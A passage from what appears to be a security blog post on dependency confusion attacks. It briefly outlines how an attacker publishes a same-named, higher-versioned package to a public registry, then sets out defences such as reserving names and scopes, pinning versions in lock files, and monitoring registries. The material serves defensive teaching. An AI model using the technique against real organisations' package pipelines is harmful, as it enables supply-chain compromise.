  3. Assign the package with a higher version number to trick the package manager tool to download it from public repo.

Occasionally, if the private registry is misconfigured. As a result of this misconfiguration, a developer’s machine or a server may be erroneously configured to collect packages from the public registry. For example, if a developer tries to install an internal package at home but does not have access to the private registry where valid packages are hosted, the package manager will try to see if a package with the same name is hosted under a public registry and use it

The diagram below depicts how Confusion Dependency exploits are initiated.

How to prevent dependency confusion attacks?

There is no silver bullet to prevent dependency confusion as this kind of attack is a consequence of an inherent design flaw in the default configuration of many package manager tools.  Instead, there are a number best practices that we could follow to help us to mitigate the potential risks.

Here are a number of best practices and mitigation method we could use

1. Prevent at the source: Reserve the package name in public registry
2. Prevent at the source: Reserve a company namespace or scope in public registry
3. Prevent at configuration: Unitize namespace and scope to ensure private registry is used
4. Prevent at configuration: Use version pinning to explicitly declare package version
5. Prevent at action: Verify package source before installing
6. Continuous Monitoring: Monitor the public registry and get alerted

Prevent at the Source: Reserve the package name in public registry

By claiming all the internal package names in the public or default registry, the will prevent a malicious attacker from hijacking the same package names and publish malicious pages under the public registry. 

This method prevents a malicious package with the same name as the internal package name from being published under the public registry at the source, which is a highly effective and reliable way to prevent dependency confusion regardless of whether there is a server misconfiguration or human errors when pulling a dependency package.

Prevent at the Source: Reserve a company namespace or scope 

Another way to prevent dependency confusion at the source is to reserve a company namespace or scope in the registry. A scope or namespace enables you to create a package with the same name as another user’s or organization’s package without conflict. This means that an organization can claim many package names under a special namespace, but an attacker will not be able to create packages under this scope because only the owner of the scope could publish packages under this scope.

The potential disadvantages are as follows: a) you must modify your manifest package management files to include the namespace or scope. b) If the namespace or scope was ignored during manual package installation, a developer might nonetheless fetch a harmful package.

Prevent at Configuration:  Unitize namespace and scope to ensure private registry is used (Client Side Control)

Some package managers allow for namespaces or other prefixes, which can be used to ensure that internal dependencies are pulled from private repositories (eg, Github) or registry defined with the appropriate prefix/scope.

Here’s an example where the dependency is explicitly stated to be pulled from a Github repository.

Prevent at configuration: Version pinning 

Dependency version pinning is a client side control method by specifying the version of a package that application will use. By setting the dependency version, it  ensures the package managers will not pull and install dependencies from the public registry in case an malicious attacker sets a higher version number for the malicious package with the identical internal package name.

There are some downsides of using version pinning.  Sometimes, if you use version pinning in the package management manifest file, for example, package.json, it will protect you against a very small portion of your direct dependency packages. The transitive dependency could still be vulnerable to dependency confusion. You should use the version pinning under the lock file, for example, package-lock.json, this allows you to lock both direct and transitive dependency into a/several specific versions.

Prevent at action: Verify package source before install

It would be very beneficial if developers could validate the package source before installing a new package or upgrading it to a higher version to avoid human errors. Take npm for example, you could use the npm view command to view the package before installing. Below is an result when running command npm view express and it tells the source of the package

Continuous Monitoring: Monitor the public registry and get alerted

I used to write an automation tool to combat package typosquatting attacks by sending HTTP requests to public registries to check for typosquatting packages. An alert is sent to our organization when a potential typosquatting package is detected. I believe we could create a similar tool and run it at regular intervals to be alerted when your internal package names are published in public registries.

Conclusion

Defending against dependency confusion attacks is a critical component of software supply chain security. Many regulations and countermeasures could be implemented at the source or configuration level by your company. Because imposed countermeasures cannot always prevent human errors, it is critical to train your engineers to exercise cautions and follow the aforementioned best practice  when upgrading or adding a package.